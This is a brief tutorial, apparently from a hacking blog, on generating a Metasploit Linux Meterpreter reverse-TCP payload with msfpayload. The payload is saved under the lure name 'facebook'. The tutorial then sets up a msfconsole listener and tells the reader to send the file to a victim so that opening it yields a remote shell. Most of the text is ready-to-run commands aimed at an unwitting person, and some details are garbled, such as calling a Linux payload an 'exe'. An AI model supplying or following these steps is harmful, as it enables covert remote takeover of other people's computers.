msfpayload is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing a module.
msfpayload linux/x86/meterpreter/reverse_tcp lhost= 192.168.1.6 lport= 4444 x > /root/Desktop/facebook
|-p for payload||linux/x86/meterpreter/reverse_tcp|
|Lhost (IP address of your local host)||192.168.1.6|
|Lport (Port of your local pc)||4444|
|-x format||Output format|
Now we successfully generate the malicious exe File, it will stored on your local computer
Now open your backtrack terminal and type msfconsole
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 4444
Now send your facebook.exe files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.